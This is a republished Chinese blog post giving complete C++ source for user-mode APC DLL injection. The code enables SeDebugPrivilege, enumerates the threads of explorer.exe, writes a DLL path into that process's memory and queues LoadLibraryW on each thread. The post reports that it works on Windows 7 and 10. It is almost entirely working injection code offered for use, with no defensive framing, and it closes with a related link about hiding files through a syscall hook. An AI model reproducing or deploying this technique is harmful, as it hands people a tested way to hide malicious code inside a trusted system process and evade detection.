QueryUserAPC Ring3下 APC注入
Posted CrisCzy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了QueryUserAPC Ring3下 APC注入相关的知识,希望对你有一定的参考价值。
DLL.dll可以自己建,实测在win7 X86 X64, win10 X64下可用
#pragma once /****************************************************************************************************/ /*Ring3下 APC注入提权 TLHelp32枚举线程 vector*/ /****************************************************************************************************/ //QueryUserAPC.h /****************************************************************************************************/ #include <windows.h> #include <vector> #include <TlHelp32.h> #include <vector> using namespace std; BOOL MYEnableSeDebugPrivilege(IN const WCHAR* PriviledgeName, BOOL IsEnable); BOOL MYQueueUserAPC(WCHAR* ProcessImageName, WCHAR* DllNameData); BOOL MYEnumProcessThreadIDByToolhelp32(PCWSTR ProcessImageName, DWORD& ProcessID, vector<DWORD>& ThreadID);
// QueryUserAPC.cpp : 定义控制台应用程序的入口点。 ////Ring3下 APC注入 //提权 TLHelp32枚举线程 vector /****************************************************************************************************/ //QueryUserAPC.cpp /****************************************************************************************************/ #include "QueryUserAPC.h" int main() { //提权 if (MYEnableSeDebugPrivilege(L"SeDebugPrivilege", TRUE) == FALSE) { return 0; } MYQueueUserAPC(L"explorer.exe", L"Dll.dll"); return 0; } BOOL MYEnableSeDebugPrivilege(IN const WCHAR* PriviledgeName, BOOL IsEnable) { // 打开权限令牌 HANDLE ProcessHandle = GetCurrentProcess(); HANDLE TokenHandle = NULL; TOKEN_PRIVILEGES TokenPrivileges = { 0 }; if (!OpenProcessToken(ProcessHandle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle)) { return FALSE; } LUID v1; if (!LookupPrivilegeValue(NULL, PriviledgeName, &v1)) // 通过权限名称查找uID { CloseHandle(TokenHandle); TokenHandle = NULL; return FALSE; } TokenPrivileges.PrivilegeCount = 1; // 要提升的权限个数 TokenPrivileges.Privileges[0].Attributes = IsEnable == TRUE ? SE_PRIVILEGE_ENABLED : 0; // 动态数组,数组大小根据Count的数目 TokenPrivileges.Privileges[0].Luid = v1; if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { CloseHandle(TokenHandle); TokenHandle = NULL; return FALSE; } CloseHandle(TokenHandle); TokenHandle = NULL; return TRUE; } BOOL MYQueueUserAPC(WCHAR* ProcessImageName, WCHAR* DllNameData) { TCHAR DllFullPathData[MAX_PATH]; GetFullPathName(DllNameData, MAX_PATH, DllFullPathData, NULL);//获得完整路径 DWORD ProcessID{}; vector<DWORD> ThreadID{}; if (!MYEnumProcessThreadIDByToolhelp32(ProcessImageName, ProcessID, ThreadID)) { return FALSE; } auto ProcessHandle = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, ProcessID); if (!ProcessHandle) { printf("OpenProcess() Error\r\n"); return FALSE; } //动态申请一块内存 auto RemoteBufferLength = 0x2000; auto RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!WriteProcessMemory(ProcessHandle, RemoteBufferData, DllFullPathData, sizeof(DllFullPathData), NULL)) { printf("WriteProcessMemory() Error\r\n"); VirtualFreeEx(ProcessHandle, RemoteBufferData, RemoteBufferLength, MEM_RELEASE); CloseHandle(ProcessHandle); ProcessHandle = NULL; return FALSE; } /* for (const auto &v1 : ThreadID) //Win7下崩溃 只有在倒序时可行 { auto ThreadHandle = OpenThread(THREAD_SET_CONTEXT, FALSE, v1); if (ThreadHandle) { //向目标进程中的各个线程的APC队列插入执行体 QueueUserAPC( (PAPCFUNC)GetProcAddress( GetModuleHandle(L"kernel32"), "LoadLibraryW"), ThreadHandle, (ULONG_PTR)RemoteBufferData); CloseHandle(ThreadHandle); } }*/ int i = 0; for (int i=ThreadID.size()-1;i>=0;i--) //Win10 Win7 通用 { auto ThreadHandle = OpenThread(THREAD_SET_CONTEXT, FALSE, ThreadID[i]); if (ThreadHandle)//向目标进程中的各个线程的APC队列插入执行体 { QueueUserAPC( (PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),//得到LoadLibraryW地址 ThreadHandle, (ULONG_PTR)RemoteBufferData); CloseHandle(ThreadHandle); } } VirtualFreeEx(ProcessHandle, RemoteBufferData, RemoteBufferLength, MEM_RELEASE); CloseHandle(ProcessHandle); return TRUE; } BOOL MYEnumProcessThreadIDByToolhelp32(PCWSTR ProcessImageName, DWORD& ProcessID, vector<DWORD>& ThreadID) { auto SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);//创建TLHelp句柄 if (SnapshotHandle == INVALID_HANDLE_VALUE) { return FALSE; } ProcessID = 0; PROCESSENTRY32 ProcessEntry32 = { sizeof(ProcessEntry32) }; if (Process32First(SnapshotHandle, &ProcessEntry32)) { //查找 do { if (_wcsicmp(ProcessEntry32.szExeFile, ProcessImageName) == 0) //做比较 { ProcessID = ProcessEntry32.th32ProcessID; THREADENTRY32 ThreadEntry32 = { sizeof(ThreadEntry32) }; if (Thread32First(SnapshotHandle, &ThreadEntry32)) { do { if (ThreadEntry32.th32OwnerProcessID == ProcessID) { ThreadID.push_back(ThreadEntry32.th32ThreadID);//模版 } } while (Thread32Next(SnapshotHandle, &ThreadEntry32));//当下一个存在时候继续 } break; } } while (Process32Next(SnapshotHandle, &ProcessEntry32)); } CloseHandle(SnapshotHandle); return ProcessID > 0 && !ThreadID.empty(); }
以上是关于QueryUserAPC Ring3下 APC注入的主要内容,如果未能解决你的问题,请参考以下文章
Ring3下Hook NtQueryDirectoryFile隐藏文件